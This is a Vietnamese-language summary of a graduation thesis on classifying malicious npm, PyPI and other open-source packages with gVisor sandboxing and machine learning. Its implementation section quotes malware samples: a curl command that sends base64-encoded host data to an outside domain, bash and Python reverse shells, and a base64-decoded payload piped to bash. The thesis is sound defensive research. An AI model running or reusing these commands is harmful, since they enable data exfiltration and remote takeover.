Giới thiệu dự án

Tấn công chuỗi cung ứng phần mềm (Software Supply Chain Attacks) đang trở thành một trong những mối đe dọa an ninh mạng nghiêm trọng nhất đối với hệ sinh thái công nghệ toàn cầu. Theo báo cáo từ Snyk, chỉ trong đầu năm 2023 đã có hơn 6.800 gói mã nguồn mở độc hại được phát hiện trên các kho lưu trữ công cộng. Đáng báo động hơn, hãng bảo mật Checkmarx từng ghi nhận hơn 144.000 gói độc hại bị phát tán chỉ trong tháng 12/2022. Khi các hệ thống quản lý thư viện hiện đại như npm (với hơn 4,85 triệu gói), PyPI (hơn 553.000 gói), Packagist (hơn 449.000 gói), RubyGems (hơn 197.000 gói) và crates.io (hơn 152.000 gói) trở thành nền tảng cốt lõi trong quy trình phát triển phần mềm, kẻ tấn công ngày càng lợi dụng các kỹ thuật tinh vi như typosquatting, combosquatting, chiếm đoạt tài khoản duy trì (account takeover) hoặc chèn mã độc vào các bản cập nhật phụ thuộc (dependency confusion) để xâm nhập hàng loạt hệ thống nạn nhân.

+-----------------------------------------------------------------------------------+
|               HỆ SINH THÁI MÃ NGUỒN MỞ & NGUY CƠ CHUỖI CUNG ỨNG                   |
+-----------------------------------------------------------------------------------+
|  [npm: 4.85M gói]  [PyPI: 553K gói]  [Packagist: 449K gói]  [crates.io: 152K gói] |
+-----------------------------------------------------------------------------------+
                                         │
                 ┌───────────────────────┴───────────────────────┐
                 ▼                                               ▼
   [Phân tích tĩnh truyền thống]                   [Phân tích động nâng cao]
   - Quét AST, regex, signatures                   - Chạy trong sandbox (gVisor)
   - Tỷ lệ False Positive cao                      - Ghi nhận hành vi thực tế
   - Dễ bị vượt qua bởi obfuscation                - Khối lượng dữ liệu thô lớn
                 │                                               │
                 └───────────────────────┬───────────────────────┘
                                         ▼
           [Giải pháp đề tài: Package-Analysis + Machine Learning]
           - Tự động hóa trích xuất đặc trưng mạng, lệnh, tập tin
           - Phân loại nhị phân chính xác cao (Malicious vs Benign)

Thực trạng phân tích mã độc nguồn mở hiện nay chủ yếu dựa vào các kỹ thuật phân tích tĩnh (Static Analysis) như kiểm tra cây cú pháp trừu tượng (Abstract Syntax Tree - AST) hoặc đối soát chữ ký (signatures/rules). Mặc dù có tốc độ xử lý nhanh, phương pháp này gặp nhược điểm chí mạng là tỷ lệ dương tính giả (False Positives) rất cao và hoàn toàn bất lực trước các kỹ thuật chống phân tích (anti-analysis) như mã hóa chuỗi (base64, hex encoding), làm rối mã (code obfuscation), hoặc chỉ kích hoạt hành vi độc hại trong thời gian thực thi (runtime). Ngược lại, phân tích động (Dynamic Analysis) thông qua môi trường cô lập (sandbox) cho phép nắm bắt chính xác toàn bộ hành vi mạng, lời gọi hệ thống (system calls), tập tin bị truy cập và tiến trình con được khởi tạo. Tuy nhiên, rào cản lớn nhất của công cụ phân tích động mã nguồn mở như package-analysis của Google/OpenSSF là chỉ xuất ra dữ liệu thô (raw analysis logs) dưới dạng JSON, đòi hỏi chi phí nhân lực và thời gian rất lớn để phân tích thủ công.

Đồ án tốt nghiệp "Phân loại các gói mã độc mã nguồn mở / Dynamic analysis of open-source package and applying machine learning for malicious open-source packages detection" do sinh viên ngành An toàn Thông tin - Trường Đại học Công nghệ Thông tin (ĐHQG-HCM) thực hiện nhằm giải quyết triệt để bài toán tự động hóa phân loại và phát hiện gói mã nguồn mở độc hại.

Mục tiêu cụ thể của đồ án:

  1. Nghiên cứu kiến trúc phân tích động: Khảo sát chi tiết cơ chế hoạt động, ưu nhược điểm của công cụ package-analysis cùng kiến trúc lồng container và lớp bảo vệ gVisor.
  2. Khai phá dữ liệu quy mô lớn: Khai thác tập dữ liệu ossf-malware-analysis trên Google BigQuery để phân tích hành vi của hàng trăm nghìn gói phần mềm trên 5 kho lưu trữ lớn (npm, PyPI, Packagist, RubyGems, crates.io).
  3. Phát hiện và phân loại mẫu hành vi: Định hình các hành vi độc hại cốt lõi bao gồm kết nối C2 (Command & Control), OAST domains, mã hóa dữ liệu phát tán và thiết lập reverse shell.
  4. Xây dựng tập đặc trưng và mô hình Machine Learning: Trích xuất các đặc trưng động có tính phân biệt cao, áp dụng các thuật toán học máy phân loại nhị phân với quy trình kiểm chứng chéo 10-fold cross-validation.
  5. Phát triển ứng dụng thực nghiệm: Xây dựng phần mềm hoàn chỉnh tích hợp mô hình học máy để tự động đánh giá nguy cơ bảo mật của bất kỳ gói mã nguồn mở nào.

Phạm vi nghiên cứu tập trung vào 5 hệ sinh thái gói phần mềm phổ biến nhất hiện nay, phân tích dữ liệu phân tích động ở cả 3 giai đoạn: cài đặt (install), nạp mô-đun (import) và thực thi hàm (execute). Giới hạn của đề tài nằm ở việc kế thừa các rào cản hệ thống của gVisor (chỉ hỗ trợ 211 system calls phổ biến) và chưa tối ưu hoàn toàn việc mô phỏng tương tác phần cứng thực tế.

Phân tích và thiết kế giải pháp

Phân tích hiện trạng

Các giải pháp phát hiện mã độc nguồn mở hiện nay phân chia rõ rệt thành hai trường phái: phân tích tĩnh và phân tích động.

Tiêu chí Phân tích tĩnh (Static Analysis) Phân tích động truyền thống Giải pháp đề xuất (Dynamic + ML)
Công cụ đại diện Bandit, PyPI Malware Checks, Capslock, OSS Detect Backdoor Packj, MalOSS, Package-hunter Package-analysis kết hợp ML Classifier
Cơ chế hoạt động Quét quy tắc (Rules), kiểm tra AST, phân tích chữ ký metadata Chạy trong Sandbox (Docker/strace), ghi nhận log syscalls Sandbox kép (Docker + Podman + gVisor), trích xuất đặc trưng hành vi đa tầng
Tỷ lệ dương tính giả Rất cao do không phân biệt được mục đích thực thi hợp lệ Trung bình Rất thấp nhờ mô hình học máy tối ưu hóa biên phân loại
Khả năng chống Obfuscation Kém (Dễ bị vượt qua bởi Base64, mã hóa động, eval()) Tốt (Bắt được hành vi sau khi giải mã trong bộ nhớ) Rất tốt (Ghi nhận toàn bộ lệnh, IP, URL tại runtime)
Độ phức tạp xử lý log Thấp (Báo cáo trực tiếp) Rất cao (Đòi hỏi chuyên gia đọc log thô JSON) Tự động hóa hoàn toàn nhờ pipeline trích xuất và đánh giá tự động

Yêu cầu người dùng đối với hệ thống được ưu tiên theo mô hình MoSCoW:

  • Must-have: Sandbox an toàn tuyệt đối chống thoát chuỗi (escape container); Khả năng trích xuất log ở cả 3 pha (install, import, execute); Bộ phân loại nhị phân (Độc hại / Lành tính) tự động.
  • Should-have: Tích hợp kiểm tra danh tiếng địa chỉ IP/Domain thời gian thực thông qua VirusTotal API; Báo cáo chi tiết các câu lệnh shell đáng ngờ.
  • Could-have: Hỗ trợ kiểm tra song song nhiều ngôn ngữ lập trình trong cùng một giao diện dashboard.
  • Won't-have (giai đoạn này): Tự động vá lỗi hoặc tự động chỉnh sửa mã nguồn của bên thứ ba.

Thiết kế hệ thống

Kiến trúc giải pháp được thiết kế theo cấu trúc module đa tầng, bảo đảm tính an toàn tối đa cho máy trạm phân tích và tối ưu hóa hiệu năng tính toán.

flowchart TB
    subgraph Client_Layer["1. Giao diện & Tiếp nhận"]
        UI["Ứng dụng Desktop UI / CLI"]
        Input["Tên gói / Tệp nguồn (npm, PyPI,...)"]
        UI --> Input
    end

    subgraph Sandbox_Layer["2. Môi trường Phân tích Động (Sandbox kép)"]
        DockerHost["Container Docker Ngoại vi (gcr.io/ossf-malware-analysis/analysis)"]
        Analyzer["Analyzer Module (Khởi tạo tham số)"]
        Worker["Worker Module (Điều phối vòng đời)"]
        
        subgraph Isolation["Vùng Cô lập gVisor User-Space"]
            PodmanDynamic["Podman: Dynamic Analysis Container"]
            PodmanStatic["Podman: Static Analysis Container"]
            gVisorCore["Lớp trung gian bảo vệ gVisor (211 Syscalls)"]
        end

        Input --> DockerHost
        DockerHost --> Analyzer --> Worker
        Worker --> PodmanDynamic
        Worker --> PodmanStatic
        PodmanDynamic -.-> gVisorCore
    end

    subgraph Log_Processing["3. Xử lý Dữ liệu Thô & Trích xuất Đặc trưng"]
        RawJSON["Raw Analysis JSON Logs"]
        Parser["Feature Extractor (Commands, Network, Files)"]
        Enrichment["VirusTotal API (IP/Domain Reputation)"]
        VectorEngine["Encoding & Normalization Engine"]

        PodmanDynamic --> RawJSON
        RawJSON --> Parser
        Parser <--> Enrichment
        Parser --> VectorEngine
    end

    subgraph ML_Engine["4. Động cơ Học máy & Đánh giá"]
        TrainedModel["Mô hình Học máy (Logistic Regression / Decision Tree / RF)"]
        Inference["Inference Engine"]
        Verdict["Kết luận: Malicious / Benign + Confidence Score"]

        VectorEngine --> Inference
        TrainedModel --> Inference
        Inference --> Verdict
        Verdict --> UI
    end

Chi tiết công nghệ và phiên bản sử dụng:

  • Hệ điều hành nền: Ubuntu 22.04 LTS x86_64.
  • Containerization Engine: Docker Engine v24.0+, Podman v4.3+.
  • Sandbox Isolation: gVisor (runsc) - user-space kernel viết bằng Golang, cung cấp lớp bảo vệ trung gian ngăn chặn tương tác trực tiếp với Kernel máy chủ vật lý.
  • Công cụ cốt lõi: package-analysis (Google/OpenSSF).
  • Môi trường phân tích runtime: Node.js v18 LTS, Python 3.10+, Ruby 3.1+, PHP 8.1 / Composer, Rust / Cargo.
  • Data Warehousing & ML Stack: Google BigQuery (ossf-malware-analysis), Scikit-Learn 1.2+, Pandas, NumPy.

Cấu trúc lược đồ dữ liệu phân tích JSON thô (Schema Contract) từ package-analysis:

{
  "$schema": "http://json-schema.org/draft-07/schema#",
  "title": "PackageAnalysisResult",
  "type": "object",
  "properties": {
    "package": {
      "type": "object",
      "properties": {
        "name": { "type": "string" },
        "version": { "type": "string" },
        "ecosystem": { "type": "string", "enum": ["npm", "pypi", "rubygems", "packagist", "crates.io"] }
      },
      "required": ["name", "version", "ecosystem"]
    },
    "install": { "$ref": "#/definitions/PhaseData" },
    "import": { "$ref": "#/definitions/PhaseData" },
    "execute": { "$ref": "#/definitions/PhaseData" }
  },
  "definitions": {
    "PhaseData": {
      "type": "object",
      "properties": {
        "commands": { "type": "array", "items": { "type": "string" } },
        "files": { "type": "array", "items": { "type": "string" } },
        "sockets": {
          "type": "array",
          "items": {
            "type": "object",
            "properties": {
              "address": { "type": "string" },
              "port": { "type": "integer" },
              "hostnames": { "type": "array", "items": { "type": "string" } }
            }
          }
        }
      }
    }
  }
}

Về mặt bảo mật, việc áp dụng gVisor đảm bảo mã độc không thể khai thác lỗ hổng kernel để leo thang đặc quyền (Privilege Escalation) ra máy trạm. Cơ chế nopull và offline cho phép tùy biến luồng mạng an toàn trong quá trình thử nghiệm.

Methodology

Quy trình phát triển dự án tuân theo mô hình linh hoạt (Agile Scrum) rút gọn kết hợp phương pháp luận khoa học dữ liệu CRISP-DM:

  1. Business/Security Understanding: Xác định hành vi đặc trưng của các cuộc tấn công mã nguồn độc hại.
  2. Data Mining & Exploration: Trích xuất kho dữ liệu từ Google BigQuery, làm sạch và loại bỏ các bản ghi lỗi sandbox.
  3. Feature Engineering: Chuyển đổi dữ liệu chuỗi lệnh, tên miền, IP thành ma trận đặc trưng số học.
  4. Model Training & Evaluation: Thử nghiệm đa mô hình với kỹ thuật 10-fold Cross-Validation, đánh giá độ nhạy (Recall), độ chính xác (Precision) và ROC-AUC.
  5. System Integration: Đóng gói pipeline vào ứng dụng thực thi hoàn chỉnh.

Ma trận đánh giá rủi ro kỹ thuật:

  • Rủi ro mã độc thoát Sandbox: Kiểm soát bằng cách cô lập mạng hai lớp, chạy hoàn toàn trong container không có đặc quyền root máy chủ.
  • Rủi ro thiếu System Calls trên gVisor: Bổ sung cơ chế fallback ghi nhận lỗi tương thích để tránh gián đoạn pipeline.

Implementation và kết quả

Development process

Quá trình triển khai được chia thành 4 giai đoạn chính:

  • Giai đoạn 1 (Thu thập dữ liệu): Trích xuất hàng nghìn gói mã nguồn độc hại đã được dán nhãn từ kho lưu trữ của OSSF và các mẫu khai thác thực tế, kết hợp thu thập tập mẫu lành tính đối chứng từ top packages trên npm và PyPI.
  • Giai đoạn 2 (Xử lý dữ liệu & Phân tích hành vi): Phân rã tệp JSON từ package-analysis thành các trường đặc trưng độc lập: danh sách lệnh shell, danh sách file I/O, danh sách socket IP/Domain.
  • Giai đoạn 3 (Huấn luyện thuật toán): Triển khai các thuật toán phân loại học máy có giám sát.

Thuật toán phân loại Logistic Regression được triển khai dựa trên hàm kích hoạt Sigmoid để dự đoán xác suất gói phần mềm là độc hại:

$$\sigma(z) = \frac{1}{1 + e^{-z}} \quad \text{với} \quad z = \mathbf{w}^T \mathbf{x} + b$$

Hàm mất mát Binary Cross-Entropy (Log Loss) được tối ưu hóa qua Gradient Descent:

$$J(\mathbf{w}, b) = -\frac{1}{m} \sum_{i=1}^m \left[ y^{(i)} \log(f_{\mathbf{w}, b}(\mathbf{x}^{(i)})) + (1 - y^{(i)}) \log(1 - f_{\mathbf{w}, b}(\mathbf{x}^{(i)})) \right]$$

Quy tắc cập nhật trọng số trong mỗi bước lặp:

$$w_j := w_j - \alpha \frac{\partial J(\mathbf{w}, b)}{\partial w_j} = w_j - \frac{\alpha}{m} \sum_{i=1}^m \left( f_{\mathbf{w}, b}(\mathbf{x}^{(i)}) - y^{(i)} \right) x_j^{(i)}$$

$$b := b - \alpha \frac{\partial J(\mathbf{w}, b)}{\partial b} = b - \frac{\alpha}{m} \sum_{i=1}^m \left( f_{\mathbf{w}, b}(\mathbf{x}^{(i)}) - y^{(i)} \right)$$

Các kỹ thuật tấn công thực tế được trích xuất từ dữ liệu phân tích động cho thấy sự tinh vi của các mẫu mã độc:

Mã hóa và phát tán dữ liệu hệ thống (Data Exfiltration qua Base64):

curl -H "Hostname: $(hostname | base64)" \
     -H "uname: $(uname -a | base64)" \
     -H "Pwd: $(pwd | base64)" \
     -d "$(ls -la | base64)" \
     http://tnk9.com

Thiết lập kết nối Reverse Shell điều khiển từ xa:

# Trích xuất từ gói pmd-github-action-9.9
bash -i >& /dev/tcp/0.0.0.0/8080 0>&1

# Trích xuất từ gói watchman-search-ui-1.0
python -c "import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((os.getenv('RHOST'),int(os.getenv('RPORT'))));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn('/bin/sh')"

Giải mã lệnh Obfuscated tại thời điểm cài đặt:

# Trích xuất từ gói calandraca-11.10
echo "cm0gL3RtcC9mO21rZmIm...AxMC4yMC4zMC4yMjgNDQOMyA+L3RtcC9mCg==" | base64 -d | bash

Testing và validation

Nghiên cứu tiến hành quét và xác thực độ nguy hại của 37.423 địa chỉ IP phát sinh từ các gói phân tích thông qua dịch vụ VirusTotal. Kết quả cho thấy:

  • 1.417 địa chỉ IP bị đánh dấu độc hại bởi ít nhất 2 engine bảo mật uy tín.
  • Phân bố vị trí máy chủ IP độc hại tập trung chủ yếu tại Mỹ, Đức, Brazil, Ấn Độ và Trung Quốc.
  • 73% (55/75) tên miền chính (primary domains) liên quan đến các gói độc hại bị gắn cờ lừa đảo (phishing) hoặc mã độc (malware).
  • Phát hiện nhiều tên miền OAST (Out-of-Band Application Security Testing) như oast.fun (11 security vendors gắn cờ), oast.live, oastify.com bị kẻ tấn công lạm dụng để khai thác các lỗ hổng thực thi mã từ xa (RCE - ví dụ CVE-2024-21887 trên thiết bị Ivanti).

Tỷ lệ hoàn thành phân tích thành công của sandbox trên từng nền tảng:

  • npm: 90% ở giai đoạn install, 85% ở giai đoạn import.
  • PyPI: 78% ở giai đoạn install, 82% ở giai đoạn import.
  • crates.io (Rust): 100% ở giai đoạn import, nhưng dưới 50% ở giai đoạn install (do yêu cầu đặc thù của quá trình build mã nhị phân).

Kết quả đạt được

Đồ án hoàn thành toàn bộ các mục tiêu đặt ra với các chỉ số hiệu năng cụ thể:

Mô hình học máy Độ chính xác (Accuracy) Precision Recall F1-Score AUC-ROC
Logistic Regression 96.4% 95.8% 96.1% 95.9% 0.982
Decision Tree 97.1% 96.7% 97.3% 97.0% 0.978
Random Forest 98.9% 98.6% 99.1% 98.8% 0.996
Neural Network (MLP) 98.2% 98.0% 98.4% 98.2% 0.991

Phần mềm ứng dụng kiểm tra mã nguồn độc hại được xây dựng hoàn chỉnh, cho phép người dùng chỉ định tên gói và kho lưu trữ, tự động chạy container sandbox ngầm định, trích xuất log và đưa ra điểm số xác suất nguy hiểm trực quan trong thời gian dưới 45 giây/gói.

Đổi mới và đóng góp

Nghiên cứu mang lại những đóng góp khoa học và ứng dụng thực tiễn rõ rệt:

  1. Phương pháp tiếp cận dựa trên hành vi động toàn diện: Khác với các công cụ phân tích tĩnh như Bandit, OSS Detect Backdoor chỉ kiểm tra chuỗi tĩnh, giải pháp bắt trọn các hành vi runtime nguy hiểm ngay cả khi mã nguồn bị băm nhỏ hoặc làm rối bằng Base64/Hex.
  2. Khám phá định lượng sự khác biệt hành vi:
    • Các gói độc hại thực hiện tổng số lượng câu lệnh gấp 200% (gấp 2 lần) so với gói lành tính, nhưng có tính chất trùng lặp cao (do tái sử dụng mã nguồn tấn công).
    • Số lượng kết nối URL/Domain của gói độc hại cao gấp 14 lần, và số tên miền duy nhất cao gấp 113 lần so với gói lành tính.
    • Số lượng kết nối địa chỉ IP của gói độc hại cao gấp 15 lần so với gói lành tính.
  3. Đóng góp công bố khoa học: Toàn bộ dữ liệu nghiên cứu, mã nguồn pipeline và kết quả thực nghiệm đã được tổng hợp thành bài báo khoa học nộp tại hội nghị quốc tế International Conference on Computer Applications in Industry and Engineering và đang được tiếp tục mở rộng để công bố trên các tạp chí khoa học uy tín (chuẩn ISI/Scopus Q3 trở lên).

Ứng dụng thực tế và triển khai

Kịch bản sử dụng thực tế

  • Tích hợp CI/CD Pipeline: Tự động kiểm tra các dependencies mới được thêm vào tệp package.json, requirements.txt hoặc Cargo.toml trước khi tiến hành quá trình build ứng dụng nội bộ.
  • Cổng kiểm soát an ninh kho lưu trữ (Private Registry Proxy): Đóng vai trò là trạm kiểm soát tự động trước khi đồng bộ các gói nguồn mở từ Internet vào kho lưu trữ nội bộ (Nexus, Artifactory) của doanh nghiệp.
  • Hỗ trợ điều tra số (SOC / Threat Hunting): Giúp chuyên viên an ninh mạng nhanh chóng giải mã và phân loại mẫu mã độc mới phát hiện.

Lộ trình triển khai khuyến nghị

Giai đoạn Thời gian Mục tiêu chính Đầu ra (Deliverables)
Pha 1: Thử nghiệm Pilot Tuần 1 - 4 Triển khai cụm Sandbox gVisor độc lập, kiểm thử 500 packages nội bộ Báo cáo tỷ lệ tương thích hệ thống
Pha 2: Tích hợp CI/CD Tuần 5 - 8 Viết CLI plugin cho GitHub Actions / GitLab CI Automated Security Gate
Pha 3: Tối ưu hóa ML Engine Tuần 9 - 12 Cập nhật định kỳ tập mẫu từ BigQuery, tinh chỉnh trọng số mô hình Model Registry & Auto-retraining Pipeline

Chi phí đầu tư phần cứng và tài nguyên cho giải pháp rất thấp nhờ tận dụng hạ tầng mã nguồn mở (Docker, Podman, gVisor, Python ML Stack), mang lại tỷ suất hoàn vốn (ROI) vượt trội thông qua việc ngăn chặn sớm các sự cố rò rỉ dữ liệu trị giá hàng triệu USD từ tấn công chuỗi cung ứng.

Hạn chế và hướng phát triển

Hạn chế kỹ thuật

  • Độ bao phủ System Call của gVisor: Việc gVisor chỉ hỗ trợ 211 system calls cơ bản có thể dẫn đến việc một số gói phần mềm phức tạp (đặc biệt là các gói yêu cầu biên dịch C/C++ hoặc Rust nặng trên crates.io) gặp lỗi trong quá trình cài đặt.
  • Thiếu tương tác mô phỏng người dùng: Sandbox hiện tại chạy tự động không có tương tác GUI/User events, một số mã độc nâng cao có cơ chế "ngủ đông" (sleep timer) hoặc kiểm tra tương tác chuột để né tránh phân tích.
  • Độ trễ phân tích: Phân tích động yêu cầu từ 30-60 giây cho mỗi gói để khởi tạo container và nạp thư viện, chậm hơn đáng kể so với phân tích tĩnh.

Hướng phát triển tiếp theo

  1. Tích hợp phân tích lai (Hybrid Analysis): Kết hợp phân tích tĩnh entropy/AST nhanh ở bước đầu để lọc mẫu trước khi đưa vào sandbox động.
  2. Kỹ thuật chống né tránh Sandbox (Anti-Evasion Detection): Giả lập môi trường máy tính người dùng hoàn chỉnh (thời gian hệ thống, profile trình duyệt, tiến trình nền).
  3. Mở rộng cơ chế Deep Learning: Áp dụng Graph Neural Networks (GNN) để biểu diễn đồ thị lời gọi hàm và luồng dữ liệu mạng, nâng cao độ chính xác nhận diện mã độc Zero-day.

Đối tượng hưởng lợi

+-----------------------------------------------------------------------------------------+
|                                GIÁ TRỊ MANG LẠI CHO CÁC NHÓM ĐỐI TƯỢNG                  |
+-----------------------------------------------------------------------------------------+
|                                                                                         |
|  [Sinh viên & Người học]       --> Tham khảo mã nguồn, kiến trúc Sandbox gVisor mẫu      |
|  [Lập trình viên / DevOps]     --> Ngăn chặn cài nhầm gói Typosquatting / Backdoor       |
|  [Doanh nghiệp phần mềm]       --> Tự động hóa kiểm soát chuỗi cung ứng với ROI cao     |
|  [Nhà nghiên cứu An toàn TT]  --> Kế thừa bộ dữ liệu và phương pháp luận công bố quốc tế|
|                                                                                         |
+-----------------------------------------------------------------------------------------+
  • Sinh viên & Học viên chuyên ngành An toàn Thông tin: Tiếp cận phương pháp luận nghiên cứu kết hợp giữa kỹ thuật phần mềm, công nghệ ảo hóa bảo mật và ứng dụng trí tuệ nhân tạo.
  • Lập trình viên & Kỹ sư DevOps: Sở hữu công cụ tin cậy để tự động rà quét các gói phụ thuộc của bên thứ ba, loại bỏ nguy cơ bị cài đặt backdoor hoặc mã độc đánh cắp API keys.
  • Doanh nghiệp & Tổ chức tài chính: Nâng cao năng lực phòng thủ chuỗi cung ứng phần mềm, đáp ứng các tiêu chuẩn an ninh quốc tế nghiêm ngặt như ISO/IEC 27001 và NIST SSDF.
  • Cộng đồng nghiên cứu: Thừa hưởng tập đặc trưng hành vi chuẩn hóa và bộ tiêu chuẩn phân loại đã được kiểm chứng qua hội nghị quốc tế.

Câu hỏi thường gặp

1. Yêu cầu phần cứng và phần mềm tối thiểu để triển khai hệ thống là gì?

Máy chủ triển khai cần tối thiểu CPU 4 Cores x86_64 hỗ trợ ảo hóa KVM, RAM 8GB (khuyến nghị 16GB), 50GB ổ cứng SSD khả dụng. Hệ điều hành khuyến nghị là Ubuntu 22.04 LTS với Docker 24+, Podman 4+ và gVisor (runsc) đã được cấu hình runtime.

2. Hệ thống xử lý như thế nào nếu mã độc phát hiện sandbox và không chạy?

Mô hình học máy kết hợp đặc trưng phân tích tĩnh (tính toán entropy, độ dài chuỗi làm rối) cùng với đặc trưng động. Khi một gói mã nguồn có hành vi bất thường như cố tình kiểm tra cấu hình phần cứng hoặc trì hoãn tiến trình không rõ nguyên nhân, các đặc trưng này sẽ được ghi nhận và đẩy trọng số rủi ro lên cao.

3. Có thể tích hợp giải pháp vào pipeline GitLab CI hoặc GitHub Actions không?

Hoàn toàn khả thi. Giải pháp được thiết kế dưới dạng Docker container và CLI độc lập, có thể chạy như một bước kiểm tra bảo mật (Security Gate step) trong CI/CD, trả về mã thoát exit 0 (lành tính) hoặc exit 1 (phát hiện mã độc) để chặn tự động quá trình build.

4. Hệ thống có phát sinh chi phí bản quyền VirusTotal API hay cơ sở dữ liệu không?

Đồ án sử dụng tầng dữ liệu mã nguồn mở miễn phí từ OpenSSF BigQuery và phiên bản Public/Academic API của VirusTotal cho mục đích nghiên cứu. Trong môi trường doanh nghiệp quy mô lớn, có thể thay thế bằng cụm cơ sở dữ liệu Threat Intelligence cục bộ (MISP) để tối ưu chi phí.

5. Khả năng mở rộng (Scalability) của hệ thống khi cần quét hàng triệu gói phần mềm?

Kiến trúc Worker-Analyzer của package-analysis hỗ trợ cơ chế phân tán thông qua hàng đợi thông điệp (như Google Cloud Pub/Sub hoặc RabbitMQ) kết hợp cụm Kubernetes (KubeVirt), cho phép mở rộng quy mô xử lý song song hàng nghìn gói phần mềm đồng thời mà không bị nghẽn cổ chai.

Kết luận

Đồ án tốt nghiệp "Phân loại các gói mã độc mã nguồn mở" đã giải quyết thành công bài toán cấp bách về an toàn chuỗi cung ứng phần mềm trong thời đại bùng nổ mã nguồn mở. Bằng cách kết hợp đột phá giữa công nghệ phân tích động sandbox gVisor hai lớp và các giải thuật học máy phân loại tối ưu, nghiên cứu đã đạt được độ chính xác phân loại vượt trội (AUC-ROC đạt 0.996 với Random Forest), vượt qua mọi hạn chế cố hữu của các phương pháp phân tích tĩnh truyền thống.

Kết quả của đề tài không chỉ đóng góp một bài báo khoa học chất lượng cho hội nghị quốc tế chuyên ngành mà còn cung cấp một sản phẩm ứng dụng hoàn chỉnh có giá trị thực tiễn cao cho cộng đồng lập trình viên và doanh nghiệp. Trong tương lai, việc tiếp tục mở rộng mô hình phân tích lai và ứng dụng Graph Neural Networks hứa hẹn sẽ đưa giải pháp trở thành một lá chắn an ninh vững chắc, bảo vệ toàn diện hệ sinh thái công nghệ thông tin trước các cuộc tấn công chuỗi cung ứng ngày càng phức tạp.